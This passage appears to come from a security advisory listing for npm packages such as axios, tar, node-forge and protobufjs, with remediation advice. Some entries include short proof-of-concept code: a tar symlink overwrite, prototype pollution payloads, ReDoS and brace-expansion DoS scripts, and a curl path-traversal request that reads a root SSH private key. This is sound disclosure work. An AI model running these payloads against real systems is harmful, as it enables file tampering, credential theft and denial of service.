decodeUriComponent(payload); // ~224 KB
console.timeEnd('decode');

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade decode-uri-component to version 0.5.1 or higher.

References

• GitHub Commit
• Maintainer's Advisory

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Improper Certificate Validation in the pki.verifyCertificateChain function in lib/x509.js. An attacker who controls a CA certificate that carries a pathLenConstraint but no keyUsage extension can place more intermediate CAs below it than the constraint permits and have the chain accepted, because the path-length check is guarded by keyUsageExt !== null && 'pathLenConstraint' in bcExt and is skipped whenever keyUsage is absent. This requires a trusted chain that contains such a constrained CA without keyUsage, which mainly arises in private PKIs since public web PKI CAs include keyUsage, and the attacker must hold that CA's key or obtain a CA certificate from it to issue the extra subordinates.

Workaround

This vulnerability can be avoided with an options.verify callback that rejects any chain where a CA at depth d has a pathLenConstraint less than d minus 1, or, on the issuance side, by re-issuing constrained CA certificates with a keyUsage extension that includes keyCertSign, which restores enforcement.

Remediation

Upgrade node-forge to version 1.4.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the modes.gcm.prototype.start method in lib/cipherModes.js. An attacker can have forged ciphertext accepted as authentic, and alter known plaintext to chosen values, by supplying an empty authentication tag, because a zero-like tagLength is stored without validation and afterFinish() computes truncate(16 % (tagLength / 8)), which for a zero value evaluates to 16 % 0 = NaN and empties the tag, so decipher.finish() compares two empty strings and returns true. This is reached only when the application calls forge.cipher.createDecipher('AES-GCM', ...) with a zero-like tagLength, such as one derived from the received tag length or an unset configuration value, while the default 128-bit tag and any fixed valid tagLength are unaffected.

Remediation

Upgrade node-forge to version 1.4.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to NULL Pointer Dereference in the tls.handleServerHelloDone function in lib/tls.js. A malicious TLS server, or an on-path attacker who strips the server's Certificate message, can terminate the client's Node.js process by completing a handshake with no certificate, because the missing-certificate guard tests the unused c.serverCertificate property while tls.createClientKeyExchange reads c.session.serverCertificate.publicKey and throws an uncaught TypeError. This affects only applications that use the forge TLS client (forge.tls.createConnection with server: false) and drive it from a socket data handler, and the exception leaves connection.process() without invoking the verify or error callbacks.

Remediation

Upgrade node-forge to version 1.4.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.10 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.

PoC

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.11 or higher.

References

• GitHub Commit

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.

Note: This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer in the cross-domain redirects that do not strip custom authentication headers (such as X-API-Key, X-Auth-Token, Api-Key, Token). An attacker can obtain sensitive authentication headers by triggering a cross-domain redirect that causes custom authentication headers to be forwarded to an attacker-controlled domain.

Remediation

Upgrade follow-redirects to version 1.16.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

protobufjs is a protocol buffer for JavaScript (& TypeScript).

Affected versions of this package are vulnerable to Prototype Pollution in the code generation. An attacker who has achieved prototype pollution by a different exploit can execute arbitrary JavaScript code by polluting Object.prototype prior to invoking the affected process.

Note: This is only exploitable if the application uses protobufjs functionality that generates encode or decode code for affected types.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade protobufjs to version 7.5.6, 8.0.2 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

@grpc/grpc-js is a gRPC Library for Node

Affected versions of this package are vulnerable to Prototype Pollution via loadPackageDefinition.

POC:

const { loadPackageDefinition } = require('grpc');
loadPackageDefinition({'__proto__.polluted': true});
console.log(polluted);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade @grpc/grpc-js to version 1.1.8 or higher.

References

• GitHub PR
• GitHub PR

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the trim function.

PoC

// poc.js

var {trim} = require("axios/lib/utils");

function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}

return ret + "1";
}

var time = Date.now();
trim(build_blank(50000))
var time_cost = Date.now() - time;
console.log("time_cost: " + time_cost)

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.21.3 or higher.

References

• GitHub Commit

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.

PoC

const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

Remediation

Upgrade braces to version 3.0.3 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• Vulnerable Code

Overview

json-bigint is a JSON.parse with bigints support

Affected versions of this package are vulnerable to Prototype Pollution via the parse function.

POC

const JSONbig = require('json-bigint')
const json = '{"__proto__":1000000000000000,"c":{"__proto__":[],"length":1e200}}'
const r = JSONbig.parse(json)
console.log(r.toString())

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade json-bigint to version 1.0.0 or higher.

References

• GitHub PR
• HackerOne Report

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the unset function in index.js, because it allows access to object prototype properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade unset-value to version 2.0.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub Release

Overview

Affected versions of this package are vulnerable to Improper Handling of Extra Parameters due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.

PoC

# Case 1 : Bypassing localhost restriction
let url = 'http://[localhost]/admin';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://localhost/admin
}

# Case 2 : Bypassing domain restriction
let url = 'http://attacker.domain*.allowed.domain:a';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://attacker.domain/*.allowed.domain:a
}

Remediation

Upgrade follow-redirects to version 1.15.4 or higher.

References

• GitHub Issue
• GitHub PR

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSA's PKCS#1 v1.5 signature verification code which does not check for tailing garbage bytes after decoding a DigestInfo ASN.1 structure. This can allow padding bytes to be removed and garbage data added to forge a signature when a low public exponent is being used.

Remediation

Upgrade node-forge to version 1.3.0 or higher.

References

• GitHub Commit

Overview

protobufjs is a protocol buffer for JavaScript (& TypeScript).

Affected versions of this package are vulnerable to Arbitrary Code Injection via the pbjs static code generation. An attacker can execute arbitrary code by providing crafted schema names that are incorporated into generated JavaScript output, which is then executed or imported by the application or build process.

Note:

This is only exploitable if the application or build process runs pbjs static code generation on a pre-parsed JSON descriptor influenced by an attacker, the generated JavaScript file is subsequently executed or imported, and an affected generated API path is invoked.

Remediation

Upgrade protobufjs to version 7.6.2, 8.5.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.

Workaround

Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.

Remediation

Upgrade axios to version 0.28.0, 1.6.0 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Issue
• GitHub PR

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.

Notes

• Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or AxiosHeaders.set(...).
• IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a PUT request) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint.
• A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

• GitHub Commit
• GitHub Commit (v1 backport)
• GitHub PR
• GitHub Release
• Maintainer's Advisory

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory